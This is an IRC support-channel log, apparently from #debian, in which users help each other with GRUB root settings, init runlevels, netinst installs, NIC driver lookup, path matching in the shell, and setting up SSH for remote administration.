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| 21:54.26 | phorce1 | CutMeOwnThroat: the problem Jangal has though is that there is no place to install grub. No hard drive in the machine and it won't boot from the USB device. |
| 21:54.34 | e1z0 | but i'm tried compile with -fPIC CFLAGS |
| 21:54.52 | Jangal | ok thx |
| 21:55.05 | Dakylla | i need to tell grub my linux root device is sda2 and not sda3 :D |
| 21:55.07 | Jangal | I'l just go and buy a new HDD tomorrow and make it work again |
| 21:55.14 | Jangal | thx for help! :) |
| 21:55.24 | Alam_Squeeze | Dakylla: open up /boot/groub/menu.lst and modify kopt option |
| 21:55.44 | Alam_Squeeze | I mean /boot/grub/menu.list |
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| 21:55.47 | Dakylla | and i mean not by editing menulist, cause grub-update will erase my modification |
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| 21:56.03 | Alam_Squeeze | what? |
| 21:56.07 | Dakylla | Alam_Squeeze: gonna read :) |
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| 21:56.48 | Dakylla | wonderful :) |
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| 21:57.22 | Alam_Squeeze | what is wonderful? |
| 21:58.02 | Dakylla | it seems to work |
| 21:58.10 | nsadmin | wonderful is when you go to a big giant forest with lots of green trees and grass and just breathe |
| 21:58.13 | phorce1 | Dakylla: edit the line that starts like this "# kopt=root=" <==== DO NOT UNCOMMENT IT, just correct it to the default device that you need. |
| 21:58.35 | Dakylla | phorce1: thx for the tip |
| 21:59.10 | Dakylla | i just realized grub stop using /dev/sdx for refering the partition but UUID |
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| 21:59.16 | Dave123_ | basically, if I set up a proxy to my ssh shell in putty, and I use this proxy/tunnel as proxy in Firefox, all data that goes out should ne encrypted right? |
| 21:59.27 | Dakylla | this happen just after menu.list edition |
| 21:59.30 | phorce1 | Dakylla: label your devices |
| 21:59.30 | Dakylla | strange |
| 21:59.45 | Dakylla | ok |
| 21:59.47 | Dakylla | thx |
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| 22:00.08 | phorce1 | Dakylla: Mine says "# kopt=root=LABEL=root ro" |
| 22:01.40 | phorce1 | Dakylla: my /etc/fstab has no /dev/sdx lines in it at all. "LABEL=root / ext3 errors=remount-ro 0 1" |
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| 22:02.10 | Dakylla | i think i'll stay with teh /dev/sdx |
| 22:02.19 | Dakylla | (old school ) :D |
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| 22:02.30 | jelly-home | root=LABEL=root is nice |
| 22:02.53 | CutMeOwnThroat | ice cream is nicer |
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| 22:03.09 | maxagaz | hi |
| 22:03.25 | phorce1 | Dakylla: I was that way until I recently had to pull out a failing root drive and replace it. It was SO much easier to get the new filesystem mounted just by switching the labels around. |
| 22:03.30 | Dakylla | i generally label ROOT(/) and /home (HOMES), but i never use those labels in fact :) |
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| 22:03.56 | maxagaz | what's the name of that command in which you read manage the services at boot ? |
| 22:04.07 | maxagaz | sysvconf? |
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| 22:04.15 | maxagaz | or something like that... |
| 22:04.33 | phorce1 | Oh, i do have a /dev/sdx in fstab ---- /dev/scd0. Guess I can't write a lable on that one |
| 22:04.38 | Dakylla | phorce1: ok, i'll make the switch :) |
| 22:04.59 | phorce1 | s/;ab;e/;abel/ |
| 22:05.07 | phorce1 | (crap) |
| 22:05.21 | phorce1 | needs a nap |
| 22:05.51 | jelly-home | phorce1: sure you can -- mkisofs has an option for that |
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| 22:07.54 | nsadmin | maxagaz: vi? emacs? :) |
| 22:08.06 | Dave123_ | basically, if I set up a proxy to my ssh shell in putty, and I use this proxy/tunnel as proxy in Firefox, all data that goes out should ne encrypted right? |
| 22:08.16 | nsadmin | ln? well, there's update-rc.d |
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| 22:11.00 | maxagaz | nsadmin, it was sysvconfig |
| 22:11.19 | maxagaz | what does K and S mean in sysvconfig ? |
| 22:12.30 | Dakylla | maxagaz: K = kill (stop) |
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| 22:12.34 | Dakylla | S = start |
| 22:12.39 | maxagaz | also, can i get the list of all the services ordered by priority ? |
| 22:13.23 | maxagaz | Dakylla, thanks |
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| 22:14.28 | maxagaz | Dakylla, does it mean that S is for when the machine is booting, and K for when the machine is shutting down? |
| 22:14.29 | azeem | no |
| 22:14.52 | nsadmin | maxagaz: well take a look at /etc/rc2.d for an example |
| 22:15.28 | nsadmin | maxagaz: it's organized into "runlevels" which are named by a single character, usually a digit |
| 22:15.52 | nevyn | nsadmin: rc2.d is the runlevel |
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| 22:16.07 | nevyn | the Sxxservice stuff is priority within that runlevel |
| 22:16.08 | nsadmin | and the S is what to do when entering a particular runlevel, the K is what to do when exiting one |
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| 22:16.18 | nevyn | nsadmin: nope. |
| 22:16.33 | nevyn | S and K are both implemente when entering a particular runlevel |
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| 22:17.03 | nsadmin | that seems so flawed |
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| 22:17.20 | azeem | it's start and kill, not enter and exit |
| 22:17.29 | maxagaz | nsadmin, nevyn, ok so basically, S is used when booting, and K when halting, no? |
| 22:17.39 | azeem | maxagaz: 00:14 < azeem> no |
| 22:17.49 | nsadmin | not according to what they're saying |
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| 22:18.27 | nsadmin | so when you enter the runlevel all the S and K scripts are run? |
| 22:18.29 | maxagaz | nsadmin, can i say that it's what's happen in most of the cases ? |
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| 22:19.20 | nsadmin | maxagaz: unfortunately it doesn't work the way that makes sense |
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| 22:21.15 | maxagaz | how to check in which runlevel i am ? |
| 22:21.20 | nsadmin | it works the way that's most convenient for the system, and you have to read up for how that works to truely understand it |
| 22:21.38 | stew | maxagaz: its the second number or letter output from "/sbin/runlevel" |
| 22:21.47 | nsadmin | maxagaz: you're probably in the default runlevel, which in debian is usually 2 |
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| 22:22.03 | nsadmin | the default runlevel is set in /etc/inittab |
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| 22:23.48 | tuantub | maxagaz: grep initdefault /etc/inittab |
| 22:24.18 | nsadmin | do most people here like the sysv init arrangement? |
| 22:25.08 | nevyn | nsadmin: yes |
| 22:25.24 | nevyn | nsadmin: as opposed to bsd init.. |
| 22:25.48 | nsadmin | oh... what about that new thing, what's that thing in experimental called... |
| 22:25.54 | nevyn | xinetd? |
| 22:26.00 | tuantub | nsadmin: upstart ? |
| 22:26.08 | azeem | nevyn: that's inet, not init |
| 22:26.14 | nevyn | right. |
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| 22:26.16 | nsadmin | xinetd is somethign else |
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| 22:26.27 | nevyn | upstart. |
| 22:26.30 | nsadmin | right |
| 22:26.34 | nevyn | isn't that parallel capable. |
| 22:26.36 | reportin1sjr | to install debian on a pentium 4 I need the i386 installer, correct? |
| 22:26.37 | nevyn | that's kinda nice |
| 22:26.39 | maxagaz | tuantub, i don't have /etc/inittab |
| 22:26.48 | nevyn | reportin1sjr: yes. |
| 22:26.49 | nsadmin | reportin1sjr: yeah |
| 22:26.53 | reportin1sjr | thank you :) |
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| 22:27.02 | tuantub | maxagaz: what? :-/ |
| 22:27.18 | nsadmin | reportin1sjr: which is the one for intel 32 bit; you can't run any 64 on that machine |
| 22:27.28 | reportin1sjr | nsadmin: right |
| 22:27.30 | tuantub | maxagaz: i cant believe it :-ss |
| 22:28.03 | reportin1sjr | another newbie question, in the dl directory why does it have so many CD-*.iso downloads? Which one should I pick? |
| 22:28.09 | nsadmin | maxagaz: maybe you're not running a debian at all on that machine? |
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| 22:28.41 | nevyn | reportin1sjr: debian is much bigger than a cd.. |
| 22:28.43 | nsadmin | reportin1sjr: depends loosely on your situation and what you want |
| 22:28.54 | nevyn | reportin1sjr: there should only be 2 or so dvd images... |
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| 22:29.23 | reportin1sjr | so... I would have to make 31 cds to install debian? 0.o |
| 22:29.34 | azeem | reportin1sjr: no |
| 22:29.54 | nsadmin | hell no |
| 22:29.57 | azeem | reportin1sjr: if you have decent internet, you can just install the packages you like over the network |
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| 22:30.18 | nsadmin | decent internet AND supported net card |
| 22:30.28 | reportin1sjr | azeem: ok. Then which cd iso should I get? |
| 22:30.35 | reportin1sjr | ok, so I should just use the netins? |
| 22:30.37 | maxagaz | nsadmin, right, the server i'm checking is on ubuntu |
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| 22:30.59 | nsadmin | reportin1sjr: well, what's your situation? what kind of net card do you have? |
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| 22:31.24 | reportin1sjr | nsadmin: I have no clue what it is, it's a standard dell one. This computer is from 2001 or 2002 I'm guessing. It's just a prebuilt dell. |
| 22:31.43 | nsadmin | reportin1sjr: are you presently running any linux on it now? |
| 22:31.44 | tuantub | maxagaz: thus ubuntu is using upstart during boot you dont have /etc/inittab on this machine :D |
| 22:31.55 | reportin1sjr | nsadmin: no, just installing debian on it |
| 22:32.13 | nsadmin | reportin1sjr: ok, so here's the thing... |
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| 22:32.47 | maxagaz | tuantub, what's upstart ? |
| 22:33.16 | azeem | maxagaz: please make a minimum amount of research before asking questions |
| 22:33.26 | nsadmin | that net card you have is almost certainly supported... and if so you can use the netinst... but if you have to build something to support your card you're going to need more than what's on the netinst |
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| 22:33.31 | azeem | upstart might even have a wikipedia page |
| 22:34.00 | reportin1sjr | nsadmin: so try the netinst for now, if that doesn't work then... try again! :) |
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| 22:34.12 | tingi | i've a directory with some files having first letter uppercase , i want to make those files into lowercase. |
| 22:34.29 | nsadmin | reportin1sjr: yes, and note that the netinst will have a minimal installable of debian on it |
| 22:34.45 | reportin1sjr | ok, I don't want anything extra really. This is going to be a small server for a game. |
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| 22:35.21 | nsadmin | oh ok, so the key thing you need is support for that nic |
| 22:35.41 | nsadmin | I wonder if there's any way of finding out what it is now |
| 22:35.45 | reportin1sjr | nic? |
| 22:35.52 | reportin1sjr | actually, I think ubuntu may be installed on it... |
| 22:35.54 | nsadmin | NetworkInterfaceCard |
| 22:35.58 | reportin1sjr | ahh |
| 22:36.08 | moldy | i am looking for documentation on how to package a python setuptools package for debian -- can anyone give me some pointers? |
| 22:36.09 | reportin1sjr | I can start it up and check if ubuntu is on it then find out through that |
| 22:36.30 | stew | tingi: man rename |
| 22:36.34 | nsadmin | hmm if it is, then you could get an lspci -nn listing out of it |
| 22:36.55 | nsadmin | and put it on a pastebin so we can all see it |
| 22:37.24 | nsadmin | or if you have a ubuntu (or just about any other) live cd |
| 22:37.47 | nsadmin | output of lsmod would also be handy |
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| 22:38.58 | btnz | hi everyone.. |
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| 22:39.57 | HellMind | to use symblinks within a chroot I must creat them in it? |
| 22:40.02 | btnz | how do i set up a ftp/web-server that i can access only remotely except a few visits a year? i thought about running the server in a virtual environment with debian as host and guest but i'm unsure about what i have to configure on the host to enable remote working and about what virtualization solution to use..! |
| 22:40.03 | HellMind | Can't create them outside? |
| 22:40.18 | HellMind | I mean, without chrooting |
| 22:40.21 | azeem | HellMind: I think you can create relative symlinks |
| 22:40.48 | HellMind | to create them relative I must use the relative path with . and ../ ? |
| 22:40.53 | azeem | well, you can also create absolute symlinks, but they might appear broken looking at them from the outside |
| 22:40.55 | HellMind | or is there a way? |
| 22:40.57 | CutMeOwnThroat | HellMind, you just have to create them so they're correct for the chroot |
| 22:41.00 | nsadmin | HellMind: you can create them inside, but they will possibly work differently depending on their value and whether you're chrooted or not, so be aware of that possibility |
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| 22:41.22 | killown | there is anything that I can do about apt-get install foo consuming all network bandwidth? when I try to enter any page it takes longer to conclude download all page... |
| 22:41.23 | azeem | HellMind: and of course you cannot symlink anything *into* the chroot |
| 22:41.37 | HellMind | I like the relative solution |
| 22:41.37 | CutMeOwnThroat | you should read a bit about what a sym link is and it'll be obvious |
| 22:41.59 | StuckMojo | hi, question about apt/preferences: if i've installed a package that i built from a deb-src, and i want to pin that version, how do i do that? the normal pin process doesn't work because the package in the repository has the same version number... |
| 22:42.08 | nsadmin | some relative symlinks will work, all absolute symlinks will be broken (or really, just different depending on whether you're chrooted or not) |
| 22:42.12 | HellMind | I readed about that, I just dont know why chroot doesnt translate the links |
| 22:42.15 | reportin1sjr | nsadmin: http://pastebin.ca/1533130 |
| 22:42.19 | CutMeOwnThroat | go to your home directory and type "ln -s /this/goes/nowhere .; ls -la nowhere" and meditate on the result |
| 22:42.29 | nsadmin | HellMind: chroot doesn't do much :() |
| 22:42.34 | azeem | HellMind: that line does not make sense |
| 22:42.50 | HellMind | azeem ok im just trolling |
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| 22:43.12 | azeem | HellMind: you've been silenced for 10 minutes for trolling |
| 22:43.23 | azeem | please be more signal and less noise in the future |
| 22:43.36 | CutMeOwnThroat | perhaps he just pretended to troll, though |
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| 22:43.43 | nsadmin | that's kinda harsh |
| 22:43.54 | CutMeOwnThroat | anyway, it'll give him time to do my little exercise without the distraction of irc |
| 22:43.55 | reportin1sjr | it's only 10 minutes |
| 22:44.09 | nsadmin | hence "kinda" |
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| 22:44.51 | reportin1sjr | nsadmin: # |
| 22:44.51 | reportin1sjr | 01:01.0 Ethernet controller [0200]: Broadcom Corporation BCM4401 100Base-T [14e4:4401] (rev 01) how do I find if that's supported? |
| 22:44.59 | CutMeOwnThroat | so we'll call it 'creative pause' |
| 22:45.06 | nsadmin | 14e4:4401 |
| 22:45.13 | nsadmin | that thing right there will tell us: |
| 22:45.20 | stew | judd: pciid 14e4:4401 |
| 22:45.21 | judd | stew: [14e4:4401] is 'BCM4401 100Base-T' from 'Broadcom Corporation' with kernel module 'b44' in lenny. See also http://kmuto.jp/debian/hcl/index.rhtmlx?check=1&lspci=14e4:4401 |
| 22:45.34 | reportin1sjr | neat :) |
| 22:45.34 | CutMeOwnThroat | oh, nice |
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| 22:45.43 | StuckMojo | aha, got it. Pin: origin "" |
| 22:45.46 | CutMeOwnThroat | forgot judd can do that |
| 22:45.47 | StuckMojo | thanks anyway |
| 22:45.57 | jelly-home | judd: hello |
| 22:45.57 | judd | jelly-home: Error: "hello" is not a valid command. |
| 22:46.02 | nsadmin | reportin1sjr: so it's very likely the lenny netinst will do fine |
| 22:46.10 | reportin1sjr | nsadmin: lenny netinst? |
| 22:46.14 | jelly-home | stew: your bot is rude, and often absent! |
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| 22:46.28 | CutMeOwnThroat | well, we're rude too |
| 22:46.43 | jelly-home | the bots should know better |
| 22:46.43 | nsadmin | reportin1sjr: lenny is codename for debian 5.0 |
| 22:46.44 | stew | jelly-home: it was absent today due to a failed air conditioner, aparantly |
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| 22:47.05 | reportin1sjr | nsadmin: oh, ok. So just download the normal one on front page? I think the downnloads are 5.0.2 |
| 22:47.07 | jelly-home | that sounds hot |
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| 22:47.16 | nsadmin | mannn, I'd be absent too if I had a failed hair conditioner! |
| 22:47.31 | nsadmin | reportin1sjr: that's still lenny |
| 22:47.35 | reportin1sjr | ok, sorry! |
| 22:47.41 | nsadmin | np |
| 22:48.01 | nsadmin | also no need to be; you're just asking and you didnh't know before |
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| 22:48.30 | btnz | could somenone please point me to some information about how to prepare a debian home server for working remotely from outside the network? |
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| 22:50.05 | nsadmin | btnz: I guess we were talking about that before... as mentioned, generally it depends on what you'll be serving. a static IP is better than a dyn one for that purpose, but a dyn IP could work for -some- kinds of services your machine could offrer |
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| 22:50.39 | reportin1sjr | nsadmin: can I make this an absolute minimal install? I don't want any extra stuff running to slow down this computer as it can't handle much and it's going to be a game server. |
| 22:51.51 | Titan8990 | !tell reportin1sjr about netisnt |
| 22:51.55 | btnz | nsadmin: right, and i came to the conclusion that i'm going to start trying to keep it simple and leaving out the email-server part for first, starting with apache first, thus making dyn ip less of a problem |
| 22:52.04 | Titan8990 | !tell reportin1sjr about netinst |
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| 22:52.15 | nsadmin | reportin1sjr: absolutely, that's what the netinst puts there. |
| 22:52.17 | reportin1sjr | Titan8990: ty |
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| 22:53.11 | Titan8990 | reportin1sjr, np |
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| 22:53.45 | btnz | mainly what i want to make sure for now is that i can administer the host over the internet, from there on i can start playing around and extending the whole thing |
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| 22:54.21 | Titan8990 | btnz, ssh.... |
| 22:54.32 | CutMeOwnThroat | !wayttd btnz |
| 22:54.32 | dpkg | What Are You Trying To Do, btnz? |
| 22:54.33 | nsadmin | btnz: ssh would be the best approach |
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| 22:54.53 | EagleScreen | i cannot open synaptic from Kickoff menu, in Debian testing |
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| 22:55.18 | nsadmin | the gui admin apps aren't great and some are flawed pretty badly |
| 22:55.35 | nsadmin | so |
| 22:55.39 | btnz | i'd just put the server into some virtual environment (which one??) so that messing things up could easily be reversed and wouldnt result in crashing the machine (what could get me into quite a bit of a mess) |
| 22:55.54 | Titan8990 | some of the web administration tools are very nice, but open up another attack location when you need to access it via the internet |
| 22:55.57 | nsadmin | learn the shell and (for now) the basic shell commands |
| 22:56.08 | Titan8990 | btnz, snapshot backups |
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| 22:56.25 | HellMind | If I create chroot environment for a single user, should I always use it root in there? |
| 22:56.28 | CutMeOwnThroat | so what will be your host system... sounds like it's mttiw |
| 22:56.55 | mhall | Let's say I have got a set of directory paths, each on a separate line in a file, such as, /a, /a/b, /a/b/c, etc. and I want to find the longest prefix match. Is there a method of using grep or another standard command to accomplish this? For example, if the file had paths up to /a/b/c/ (3 levels), a match against input /a/b/c/d would return the line containing /a/b/c. I am trying to use this to map source control changes to modules. |
| 22:57.41 | Titan8990 | mhall, #bash or whatever language you might choose |
| 22:57.50 | reportin1sjr | nsadmin: googling trying to find how to not install a gui so I just get a debian command line, how exactly do I do that? It appears lots of people have done it on accident but it doesn't say exactly how. :P |
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| 22:58.27 | mhall | Titan8990: Yeah, I was asking here on the chance it might require another package to be installed, which somebody had used before. |
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| 22:58.42 | btnz | okay, so to use ssh i just do a clean lenny install and i can connect from anywhere as long as i know the ip? |
| 22:58.44 | CutMeOwnThroat | what's a longest prefix match? |
| 22:58.46 | nsadmin | mhall: I would group subsets and order them by decreasing specificness... then if you get a match, you exit with that match |
| 22:58.53 | CutMeOwnThroat | you mean you got the same file in multiple of those dirs? |
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| 22:59.07 | Titan8990 | CutMeOwnThroat, sounds like 1 - highest number of subdirs |
| 22:59.08 | mhall | nsadmin: hmm that's not a bad idea, then perhaps pipe it to tail -1 |
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| 22:59.28 | mhall | nsadmin: so if grep returns multiple lines, it gets the last match |
| 22:59.41 | mhall | nsadmin: or first match depending how i'd order the file content |
| 22:59.52 | nsadmin | well if it's ordered by decreasing specificness, it's the first one I guess :) |
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| 23:00.09 | reportin1sjr | is there anything specific I have to do to install NO gui through netinst? I only want to have a command line, no gui on this computer. |
| 23:00.16 | Titan8990 | CutMeOwnThroat, so im guessing their might be a absolute path to a file a/b/d/foo.bar and he wants to grab the dir a/b/d which will also be on it same line |
| 23:00.19 | mhall | nsadmin: you could order it either way |
| 23:00.32 | mhall | Titan8990: you got it |
| 23:00.34 | Titan8990 | CutMeOwnThroat, err s/same line/its own line |
| 23:00.54 | mhall | CutMeOwnThroat: well let's say somebody changed code in /a/b/c/fooModule/bar/baz |
| 23:01.04 | mhall | CutMeOwnThroat: my file will have a line for /a/b/c/fooModule |
| 23:01.16 | btnz | the key question is: what do i have to do on the host? |
| 23:01.18 | mhall | CutMeOwnThroat: but i want to match that even if the input has bar and baz down below |
| 23:01.26 | Titan8990 | btnz, install sshd |
| 23:01.31 | mhall | CutMeOwnThroat: but i want the best match |
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| 23:01.35 | Titan8990 | btnz, openssh-server in debian |
| 23:01.36 | CutMeOwnThroat | btnz, what do you WANT to do on the host? :) |
| 23:01.47 | CutMeOwnThroat | oh, that he meant? |
| 23:01.58 | mhall | CutMeOwnThroat: so if i have /a/b/c, and /a/b/c/fooModule, them /a/b/c/fooModule should be returned not /a/b/c |
| 23:01.58 | Titan8990 | for remote administration, i think |
| 23:02.26 | reportin1sjr | nsadmin: sorry, but how do I not install a gui? |
| 23:02.51 | Titan8990 | reportin1sjr, with netinst it asks your for package selection, just deselect all of them |
| 23:03.01 | Titan8990 | or package group selection really |
| 23:03.03 | reportin1sjr | Titan8990: ok, thanks |
| 23:03.03 | btnz | CutMeOwnThroat: i want to be able to connect over the internet to access and manage a VE that i'm running a webserver in |
| 23:03.17 | sigmonsays | Is there a reason most debian init.d scripts do not have a status call? |
| 23:03.21 | nsadmin | reportin1sjr: oh, he said it |
| 23:03.42 | Titan8990 | mhall, alright, now back to what purpose? |
| 23:04.17 | mhall | Titan8990: right, i have a source control system and i want to associate changes to different parts of the code to certain overall features / modules of the software |
| 23:04.33 | mhall | Titan8990: so i used find -maxdepth ... to pull out the first few level |
| 23:05.02 | mhall | Titan8990: and i am going to mark the module of the interesting ones i saved from the find output, in a tab delimited file |
| 23:05.06 | Titan8990 | mhall, subversion? git? cvs? |
| 23:05.25 | btnz | and to be quite honest i'd also like to be able to use a gui in case i get too lost just with terminal, still not 100% down with that.. |
| 23:05.26 | mhall | Titan8990: so i find the line with longest path match |
| 23:05.35 | mhall | Titan8990: then get the module from the $2 field with awk |
| 23:05.46 | CutMeOwnThroat | mhall, hmm, grep alone rather definitely can't do that |
| 23:05.49 | nsadmin | that's kinda what a parser or lexer does |
| 23:05.50 | mhall | Titan8990: then i'll generate a little report and post it to http server from cron |
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| 23:05.57 | mhall | CutMeOwnThroat: yeah that's kind of what i figured |
| 23:06.01 | mhall | Titan8990: Perforce |
| 23:06.27 | Titan8990 | mhall, yeah, thats some real parsing |
| 23:06.59 | CutMeOwnThroat | I think regular expressions generally are not so very well suited |
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| 23:07.28 | nsadmin | is it just pathnames? |
| 23:07.39 | mhall | nsadmin: yeah just paths |
| 23:07.55 | mhall | i think a variation on the nsadmin algo will do the trick |
| 23:08.10 | Titan8990 | i have never been a part of a development team but it sounds like this is a problem a versioning system would help avoid? |
| 23:08.10 | nsadmin | maybe you could have them in any order, then sort the output of grep |
| 23:08.17 | nsadmin | but that might not be so fast |
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| 23:08.37 | mhall | nsadmin: the bash guys point out str len alone wont work because a/b/c/foobarbaz is "longer" than a/b/c/d/e/f |
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| 23:08.45 | btnz | so in order to test the whole ssh fun could i just run a VE on the computer i'm on right now, install debian and sshd and try to connect to its wan-ip from my desktop? or is that retarded (for some reason)? |
| 23:08.52 | crzedmonk | is there a way to get root permissions through just gnome and not terminal? |
| 23:08.57 | mhall | nsadmin: there are not so many changes per day/week/etc and this will run out of cron at night |
| 23:09.02 | Titan8990 | mhall, so you need to count the # of dirs |
| 23:09.06 | mhall | nsadmin: so if it's a bit of a slug no big deal |
| 23:09.21 | mhall | Titan8990: right, count the # of slashes, and sort the file by than |
| 23:09.23 | EagleScreen | crzedmonk: Alt + F2 -> gksu command |
| 23:09.31 | nsadmin | maybe you could pull the regexp code out of grep so that you could do one grep match and have a custom test |
| 23:09.36 | mhall | Titan8990: then put things with most slashes first in the file |
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| 23:09.54 | mhall | Titan8990: and return first match |
| 23:10.01 | mhall | Titan8990: that's sounding simplest so far |
| 23:10.14 | mhall | nsadmin: just use regcomp, regmatch, regerror from regex.h ;-) |
| 23:10.16 | nsadmin | mhall: well the ordering returns to importance then |
| 23:10.19 | mhall | nsadmin: regex.h is awesome |
| 23:10.29 | CutMeOwnThroat | ah, you went to #bash... |
| 23:10.31 | nsadmin | ofc they're correct |
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| 23:11.04 | crzedmonk | thank you |
| 23:11.05 | mhall | nsadmin: yeah but it should be easy to do, read the list of paths through awk, count number of slashes, and put the slash count first on the line |
| 23:11.12 | mhall | nsadmin: then sort -n the file |
| 23:11.23 | nsadmin | notes that # bash sounds like a particularly campy batman episode |
| 23:11.25 | mhall | nsadmin: sort -nr to be specific |
| 23:11.34 | Titan8990 | btnz, is their router or other NAT device in between the server and the internet? |
| 23:11.50 | mhall | nsadmin: then return first matching line with grep options or piping grep output to head -1 |
| 23:11.55 | btnz | Titan8990 there's a router in between |
| 23:12.07 | Titan8990 | btnz, then you need to forward the ports |
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| 23:12.23 | Titan8990 | btnz, its recommended you run ssh on a random port and not 22 when opening it to the internet |
| 23:12.33 | nsadmin | let;s see, you can add biff and pop to that and still have it seem unuxy :) |
| 23:12.36 | jelly-home | echo /a/b/c/d/e/f/g/ |awk -F/ '{print NF}' |
| 23:12.39 | btnz | Titan8990 that is one of the things that i have to take care of locally i guess? |
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| 23:13.02 | Titan8990 | btnz, yes |
| 23:13.11 | jelly-home | mhall: see, it's easier to count everything _but_ the slashes |
| 23:13.23 | mhall | jelly-home: true |
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| 23:13.31 | btnz | Titan8990, i guess router configuration over internet is not that good of an idea? |
| 23:13.36 | mhall | jelly-home: ah subtleties :-D without those there'd be no need for programmers |
| 23:13.40 | Titan8990 | btnz, later if your router supports ssh or telnet, you will be able to make the changes on the router remotely by sshing into the server and then in to the router |
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| 23:13.44 | mhall | jelly-home: because we'd all just use the DWIM language |
| 23:14.12 | Titan8990 | btnz, no, you shouldn't open it up on its WAN interface but cli administration is fine for inside of the lan |
| 23:14.24 | daedhel | hi. I got that usb ethernet thingie i wanna install. How do I find what driver / modul it needs ? here is the dmesg : http://pastie.org/586518 |
| 23:14.26 | CutMeOwnThroat | uh, actually running ssh on a port different than port 22 is just messy, imho |
| 23:14.27 | jelly-home | mhall: it's called Perl |
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| 23:14.30 | jelly-home | hides |
| 23:14.39 | CutMeOwnThroat | perlen vor die saeue! |
| 23:15.08 | btnz | Titan8990, k thanks, the nasty part about the whole thing is that i'll have just a few hours to do things from *inside* the lan |
| 23:15.28 | HellMind | how the homepath var is called |
| 23:15.36 | CutMeOwnThroat | $HOME? |
| 23:15.44 | HellMind | right |
| 23:15.46 | CutMeOwnThroat | surprise, surprise... |
| 23:15.49 | crzedmonk | how do I login to gnome as root? |
| 23:15.53 | Titan8990 | btnz, well, might as well open 80 while your at it if it will be a web server |
| 23:16.00 | themill | crzedmonk: you don't. What are you trying to achieve? |
| 23:16.08 | HellMind | CutMeOwnThroat why $HOMEPATH no? |
| 23:16.23 | CutMeOwnThroat | why a mountain |
| 23:16.31 | crzedmonk | I am trying to move this flashplayer.so to the iceweasel plugin file when I move the file it tells me denied acess |
| 23:16.47 | btnz | CutMeOwnThroat, why exactly is ssh on a port different than #22 a bad idea? |
| 23:17.08 | Titan8990 | crzedmonk, su or sudo from the terminal |
| 23:17.17 | CutMeOwnThroat | because I'd be too lazy to type ssh somehost -p someport everytime |
| 23:17.19 | themill | dpkg: tell crzedmonk about adobe flash |
| 23:17.21 | CutMeOwnThroat | and I'd forget the port |
| 23:17.29 | themill | crzedmonk: why not just install the debian package? |
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| 23:17.33 | CutMeOwnThroat | also, what's /etc/services for when you ignore it |
| 23:17.36 | Titan8990 | crzedmonk, mv /path/to/flash /destination/path |
| 23:17.39 | craigevil | crzedmonk: whay are you trying to do it manually rather than installing flashplugin-nonfree from bpo |
| 23:17.45 | crzedmonk | sigh |
| 23:17.46 | Titan8990 | crzedmonk, but the themill asks the real question |
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| 23:17.55 | crzedmonk | everytime I come in here you people say that to me |
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| 23:18.02 | crzedmonk | I have tried to install it many times |
| 23:18.05 | crzedmonk | it is not working |
| 23:18.08 | craigevil | crzedmonk: because it works :) |
| 23:18.13 | crzedmonk | no it doesnt |
| 23:18.18 | crzedmonk | :( |
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| 23:18.25 | craigevil | it does for everyone else |
| 23:18.28 | themill | dpkg: tell craigevil about doesn't work |
| 23:18.37 | craigevil | :P |
| 23:18.41 | CutMeOwnThroat | I'm sure it sits on the couch all day |
| 23:18.47 | jelly-home | themill: the other crTAB |
| 23:18.55 | themill | bollox ;( |
| 23:18.59 | CutMeOwnThroat | watching something horrid on TV |
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| 23:19.05 | themill | dpkg: tell crzedmonk about doesn't work |
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| 23:19.16 | themill | how may cr* are there in here ffs |
| 23:19.16 | CutMeOwnThroat | ? |
| 23:19.30 | CutMeOwnThroat | eh |
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| 23:19.43 | CutMeOwnThroat | themill, 8 |
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| 23:19.55 | jelly-home | /nick CroutonsAndSoup |
| 23:19.59 | crzedmonk | well good for them |
| 23:20.01 | craigevil | cr tab gives me crzedmonk |
| 23:20.10 | craigevil | :) |
| 23:20.11 | hotdog003 | Hey guys! I have a brand spanking old 400mhz with 128MB ram. Which is the best filesystem to use? Ext3? Reiser? |
| 23:20.19 | nsadmin | see that's why tab completion in irc sucks and tab completion in shells rocks |
| 23:20.20 | themill | craigevil: I'd get that too if you shut up :) |
| 23:20.26 | jelly-home | hotdog003: not reiser |
| 23:20.27 | crzedmonk | sigh |
| 23:20.28 | btnz | CutMeOwnThroat, Titan8990 so ssh on port that is not 22 is just about making it a bit more difficult for anyone who'd want to get into the ssh to find it? |
| 23:20.29 | crzedmonk | this suck |
| 23:20.39 | Titan8990 | btnz, correct |
| 23:20.45 | themill | crzedmonk: we can't guess what your problem is... you have to provide information |
| 23:21.00 | hotdog003 | jelly-home: Ok. I do want journaling. Is ext3 fine? Or shall I try something special like XFS or JFS? |
| 23:21.01 | budo | what is the difference between apt-get and aptitude |
| 23:21.03 | Titan8990 | btnz, also, fail2ban is a good install for security |
| 23:21.08 | crzedmonk | I install the nonfree flash nothing |
| 23:21.13 | CutMeOwnThroat | btnz, yeah, but I think that's also mttiw... if you feel you get too many unauthorized login attempts, install something like fail2ban |
| 23:21.16 | CutMeOwnThroat | heh |
| 23:21.17 | crzedmonk | the flash videos will play audio but no video |
| 23:21.19 | CutMeOwnThroat | beat me to it |
| 23:21.20 | jelly-home | hotdog003: if you don't know, use ext3. |
| 23:21.26 | themill | dpkg: tell budo about why aptitude |
| 23:21.41 | budo | crzedmonk u still have that problem ? |
| 23:21.53 | abrotman | daedhel: lsusb -v might be more help |
| 23:21.54 | crzedmonk | yes |
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| 23:21.58 | crzedmonk | and no one helps |
| 23:22.01 | jelly-home | hotdog003: if you have working backups and don't mind restoring data, use whatever you like |
| 23:22.08 | crzedmonk | just give me the same do this instructions |
| 23:22.09 | crzedmonk | sigh |
| 23:22.12 | crzedmonk | back to the web |
| 23:22.14 | nsadmin | {itude - (-get)} |
| 23:22.21 | btnz | CutMeOwnThroat, Titan8990 k thx i'll also have a look into that.. |
| 23:22.24 | hotdog003 | jelly-home: Good point. Thanks. |
| 23:22.30 | daedhel | abrotman, thanks... seem I have to recompile some driver |
| 23:22.41 | daedhel | abrotman, http://21500.org/?p=616 |
| 23:22.42 | budo | crzedmonk, did you download both your browser and flash from debian repositories ? |
| 23:22.44 | themill | crzedmonk: you get the same instructions because you're asking how to do things that just won't work. |
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| 23:23.08 | themill | crzedmonk: what does "about:plugins" say for flash? |
| 23:23.14 | crzedmonk | is there one for iceweasel? I dled the mozilla one |
| 23:23.38 | Titan8990 | they are all the same, for all web browsers |
| 23:23.48 | themill | crzedmonk: precisely what did you do? |
| 23:23.58 | abrotman | daedhel: seems like it should be fixed by now that you shouldn't have to do that |
| 23:24.13 | budo | all i can say is iceweasel works. and i downloaded that from debian repository |
